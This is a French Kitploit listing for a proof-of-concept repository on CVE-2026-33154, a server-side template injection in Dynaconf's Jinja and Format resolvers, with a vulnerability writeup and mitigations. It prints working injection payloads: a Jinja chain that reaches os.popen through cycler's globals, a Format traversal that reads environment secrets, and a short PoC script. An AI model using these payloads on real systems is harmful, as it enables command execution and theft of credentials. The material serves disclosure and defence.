Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-33154 — Preuve de concept d'exploitation pour CVE-2026-33154, démontrant l'exécution de code à distance via SSTI dans le résolveur Jinja de Dynaconf, avec analyse et recommandations d'atténuation. | Kitploit
Outils/GitHubGitHub/redyank/cve-2026-33154
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebApprentissage et Éducation
GitHubredyank/cve-2026-33154

CVE-2026-33154

Preuve de concept d'exploitation pour CVE-2026-33154, démontrant l'exécution de code à distance via SSTI dans le résolveur Jinja de Dynaconf, avec analyse et recommandations d'atténuation.

Voir le dépôt
1il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Rapport de vulnérabilité SSTI dans Dynaconf

Résumé

Dynaconf est vulnérable à une injection de modèles côté serveur (SSTI) en raison d'une évaluation non sécurisée des modèles dans le résolveur __@Jinja__. Lorsque le paquet jinja2 est installé, Dynaconf évalue les expressions de modèles intégrées dans les valeurs de configuration sans environnement sandboxé.

Si un attaquant peut influencer les sources de configuration telles que :

  • Les variables d'environnement
  • Les fichiers .env
  • La configuration d'environnement des conteneurs
  • Les secrets CI/CD

...il peut exécuter des commandes OS arbitraires sur le système hôte. De plus, le résolveur __@Format__ permet une traversée du graphe d'objets, ce qui peut exposer des objets runtime sensibles et des variables d'environnement.


Détails

La vulnérabilité provient du fait que les résolveurs de chaînes de Dynaconf manquent de limites de sécurité appropriées.

1. Résolveur

__@Jinja__

Le résolveur __@Jinja__ rend les modèles en utilisant une évaluation Jinja2 complète. Cependant, le contexte de rendu n'est pas sandboxé, ce qui permet aux attaquants d'accéder aux attributs internes de Python. En utilisant des objets tels que cycler, les attaquants peuvent atteindre les globals de Python et importer le module os.

Chemin d'attaque exemple :

root@kitploit:~
cycler → __init__ → __globals__ → os → popen()

Cela conduit à une exécution de commandes arbitraires.


2. Résolveur __@Format__

Le résolveur __@Format__ effectue un formatage de chaînes Python en utilisant des objets internes. Cela permet aux attaquants de traverser le graphe d'objets de Python et d'accéder à des objets runtime sensibles.

Traversée exemple :

root@kitploit:~
{this.__class__.__init__.__globals__[os].environ}

Cela peut exposer :

  • Des clés API
  • Des identifiants de base de données
  • Des jetons de services internes
  • Des secrets d'environnement

Preuve de concept (PoC)

root@kitploit:~
import os
from dynaconf import Dynaconf

# Injection de configuration malveillante
os.environ["DYNACONF_RCE"] = "@jinja {{ cycler.__init__.__globals__.os.popen('id').read() }}"

settings = Dynaconf()

print("[!] Résultat de l'exécution de commande :")
print(settings.RCE)

Impact

Une exploitation réussie permet aux attaquants de :

  • Exécuter des commandes OS arbitraires sur le système hôte
  • Accéder à des variables d'environnement sensibles
  • Compromettre les secrets de l'application
  • Compromettre entièrement le processus applicatif en cours d'exécution

Étant donné que les valeurs de configuration peuvent provenir de pipelines CI/CD, de systèmes d'orchestration de conteneurs ou d'injection d'environnement, cette vulnérabilité peut devenir exploitable à distance dans des déploiements réels.


Remédiation / Atténuation

1. Utiliser le sandbox Jinja2 pour le rendu des modèles

root@kitploit:~
from jinja2.sandbox import SandboxedEnvironment

env = SandboxedEnvironment()
template = env.from_string("{{ config_value }}")
safe_value = template.render(config_value=user_input)

2. Restreindre l'utilisation de __@Format__ aux valeurs de confiance

root@kitploit:~
safe_value = "{name}".format(name=trusted_name)

Références

  • GHSA-pxrr-hq57-q35p
  • CVE-2026-33154 — NVD
  • dynaconf/dynaconf@2fbb45e
  • Version 3.2.13 de Dynaconf
Télécharger l’outil